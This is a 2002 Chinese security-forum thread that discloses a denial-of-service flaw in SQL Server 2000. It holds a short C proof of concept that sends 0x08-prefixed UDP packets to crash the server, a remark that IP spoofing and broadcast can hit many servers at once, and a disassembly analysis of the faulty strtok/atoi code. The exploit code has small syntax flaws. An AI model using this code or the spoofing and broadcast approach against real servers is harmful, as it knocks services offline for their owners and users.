|
![]() | 作者: flashsky [flashsky]
![]() |
登录 |
今天偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包会导致SQL SERVER当机:演示代码如下 参数:跟SQL SERVER服务器的IP或广播地址的IP int main(int argc, char* argv[]) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; char buf[1024]={'\x08','\x00'}; HANDLE listener; const int SNDBUF = 0; const int TCPNODELAY = TRUE; const int BROADCAST = TRUE; if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { return FALSE; } if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET) { return FALSE; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(1434); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR) { return FALSE; } if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR) { return FALSE; } if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR) { return FALSE; } for(j=0;j<256;j++) { buf[1]=j; sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(addr_in))==SOCKET_ERROR) Sleep(100); } WSACleanup(); return 0; } BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返回的SQL SERVER日志信息是: 2002-09-04 12:50:17.21 server SqlDumpExceptionHandler: 进程 2020 发生了严重的异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。 2002-09-04 12:50:17.64 server SQL Server 将终止。发生了严重的异常 c0000005。 如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。 但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。 测试环境: SQL SERVER 2000+SP2 WINDOWS 2000 SERVER+SP3,ADV SERVER+SP3,professional+SP2 |
地主 发表时间: 09/04 14:19 |
![]() | 回复: NetDemon [netdemon] ![]() |
登录 |
很好啊,我给你发到主页上去了 |
B1层 发表时间: 09/04 16:23 |
![]() | 回复: flashsky [flashsky] ![]() |
登录 |
另外有人说这是SQL SERVER UDP溢出导致的,但是我发现这好象和溢出没关系,就是只发两字节,只要是08命令都会导致SQL 当掉,而其他的任何代码,包括大于08的,在我的测试环境下发送1024个字节也没问题。 |
B2层 发表时间: 09/04 17:08 |
![]() | 回复: NetDemon [netdemon] ![]() |
登录 |
看看这个 http://www.20cn.net/ns/ld/win/data/20020108025414.htm 但C Runtime 的pacth已经包含在SP3中了,好像也说不过去 身边没有MSSQL,一时还真没发测试 [此贴被 NetDemon(netdemon) 在 9月4日19时49分 编辑过] |
B3层 发表时间: 9/4 19:31 |
![]() | 回复: cimsxiyang [cimsxiyang] ![]() |
登录 |
老大,隔壁那台机器上有mssql2000 你试一下 |
B4层 发表时间: 09/05 09:14 |
![]() | 回复: flashsky [flashsky] ![]() |
登录 |
昨天到安全焦点上和一个ISNO的高手做交流,他认为是以前的哪个sql server UDP溢出导致的异常问题,后来仔细研究了一下反汇编的代码,发现不是那么简单,下面是我反汇编时的一些分析: .text:42CF9EE0 push ebp .text:42CF9EE1 mov ebp, esp .text:42CF9EE3 sub esp, 40Ch .text:42CF9EE9 mov lpData, 0 .text:42CF9EF3 mov dword_42D01544, 0 .text:42CF9EFD mov eax, .text:42CF9F00 push eax ; lpData .text:42CF9F01 call sub_42CFA2CE //sub_42CFA2CE执行注册表查询获得当前SQL的一些信息 .text:42CF9F06 add esp, 4 .text:42CF9F09 mov dword_42D0154C, eax .text:42CF9F0E call sub_42CFA406 //sub_42CFA406是建立一个新的套接字进行监听和绑定 .text:42CF9F13 cmp dword_42D011DC, 0 .text:42CF9F1A jnz short loc_42CF9F21 .text:42CF9F1C jmp loc_42CFA225 //建立成功则执行下面的loc_42CF9F21,不成功则跳到loc_42CFA225处退出线程 //建立成功以后用循环不断查询获得的端口数据 .text:42CFA003 push 400h .text:42CFA008 push 0 .text:42CFA00A lea ecx, .text:42CFA010 push ecx .text:42CFA011 call memset .text:42CFA016 add esp, 0Ch .text:42CFA019 lea edx, .text:42CFA01F push edx ; buf .text:42CFA020 call sub_42CFA4FE //sub_42CFA4FE开始用recvfrom获取数据 sub_42CFA4FE内容: 有数据到达时跳转到loc_42CFA56C处理 返回之后跳转到loc_42CFA0E0处理 在loc_42CFA02B处开始比较缓冲区取出的第一个字节的内容 .text:42CFA034 cmp , 9 //与9相比 .text:42CFA03B jg short loc_42CFA06B //大于9跳转loc_42CFA06B .text:42CFA03D cmp , 9 .text:42CFA044 jz short loc_42CFA0BB //等于9跳转loc_42CFA0BB //下面是小于9的处理 .text:42CFA046 mov ecx, .text:42CFA04C sub ecx, 2 .text:42CFA04F mov , ecx .text:42CFA055 cmp , 6 //检查第一个减去2之后是否大于6或小于0,实际上就是检查合法值是从2开始到8 .text:42CFA05C ja short loc_42CFA0DB .text:42CFA05E mov edx, .text:42CFA064 jmp ds:off_42CFA23B //然后根据偏移值跳转,8命令则条为off_42CFA23B<4*6>的地方,也就是跳转到loc_42CFA0A5去执行 off_42CFA23B的值内容是 dd offset loc_42CFA082 .text:42CFA23F dd offset loc_42CFA082 .text:42CFA243 dd offset loc_42CFA091 .text:42CFA247 dd offset loc_42CFA0DB .text:42CFA24B dd offset loc_42CFA0DB .text:42CFA24F dd offset loc_42CFA0DB .text:42CFA253 dd offset loc_42CFA0A5 loc_42CFA0A5处指令 .text:42CFA0A5 push 0 .text:42CFA0A7 lea ecx, .text:42CFA0AD push ecx //从第二个字节开始的内容,调用sub_42CFA64E进行处理 .text:42CFA0AE call sub_42CFA64E 这儿开始是重点的分析 在sub_42CFA64E中会分配108H个字节的空间,然后使用strtok函数寻找传过来的字符串的":"作为分界符号 .text:42CFA6A8 push offset asc_42D00838 ; ":" .text:42CFA6AD mov edx, .text:42CFA6B0 push edx .text:42CFA6B1 call ds:strtok 但是由于传过去的包没有":"字串,strtok返回应为NULL,但实际观察是eax还是为一个合法的指向BUF开始的指针,但是edx的内容却变为指向该缓冲后的地址。程序应该检查edx的内容以后 .text:42CFA6B7 add esp, 8 .text:42CFA6BA push eax .text:42CFA6BB mov eax, .text:42CFA6BE push eax .text:42CFA6BF call strcpy 将这个字符串拷贝到一个变量中去,变量长度是108H字节,可以发生溢出攻击,但是在我这个测试情况下是用了0x8,0x61,0x61这个三个字节,不构成发生溢出的条件。 .text:42CFA6C4 add esp, 8 .text:42CFA6C7 push offset unk_42D011EC .text:42CFA6CC push 0 .text:42CFA6CE call ds:strtok 紧接着这个strtok就不清楚什么意思了,他传的unk_42D011EC变量是一个指向为0地址的缓冲,寻找0为分界符,因此返回回来的eax为0。处理失败。我怀疑是本来应该把strtok获得的第一次的字符串赋予这个变量而程序员忘记了这样做,于是使得unk_42D011EC成为一个指向0地址的指针。 .text:42CFA6D4 add esp, 8 .text:42CFA6D7 push eax .text:42CFA6D8 call ds:atoi 但是其没有检查,然后根据这个结果,用atoi转化成数字,那么就是由此处引发的异常导致的SQL SERVER服务器的崩溃。 从上面可以看见,导致崩溃根本就不在于给SQL SERVER穿送了大长,大大,什么内容的数据,只要是0X8开始的,都会跳转到这个地方执行代码,导致atoi引发异常,而atoi参数来源于strtok(0,unk_42D011EC),而unk_42D011EC的值一直为空,且于处理buf无关,而不属于溢出导致的问题。 最后的结论是: 1。是异常导致,但是异常和溢出无关 2。测试中使用了BUF<5>={0x8,'1',':",'1',0}这样的数据,按照溢出导致逻辑至少处理的第一次strtok的时候不会发生异常,但实际是第一次就发生了,原因就是在于莫名的第二次strtok的调用,这个调用使用的参数不来源于任何其他的发送包的数据,而完全都是自己定义的一个东西,我估计是其逻辑是应该先把strtok获得的第一个分界的地址赋予unk_42D011EC变量再进行调用的,但是程序员忘记这样做了,导致从地址0上去strtok,获得返回为0,而不是他想象中的一个正常结果的数字,再调用atoi导致的异常。 |
B5层 发表时间: 09/05 14:33 |
![]() | 回复: nightcolor [nightcolor] ![]() |
登录 |
闪空真是个内核高手 协议也不错 佩服佩服 |
B6层 发表时间: 09/05 19:46 |
![]() | 回复: flashsky [flashsky] ![]() |
登录 |
对strtok函数的理解存在一些错误,修改如下: 在strtok函数中,说明第二次调用的第一个参数为null时继续第一次的查找,但是需要第二个参数需要有东西,所以当我看见 unk_42D011EC为0; 进行strtok(NULL,unk_42D011EC);就觉得存在错误,但是实际测试当中却发现:这样调用也可以继续定位到第二个字串上,但是第三次调用就不行了(哪怕其中内容还有合法的内容存在),呵呵,所以这是一点错误。 因此最后的结论是,如果传入的字符串不包含":"或":"后不存在其他的字符会引起问题,也就是说只有在此情况下,程序员没有做字符内容的参数检查。 |
B7层 发表时间: 09/06 17:42 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号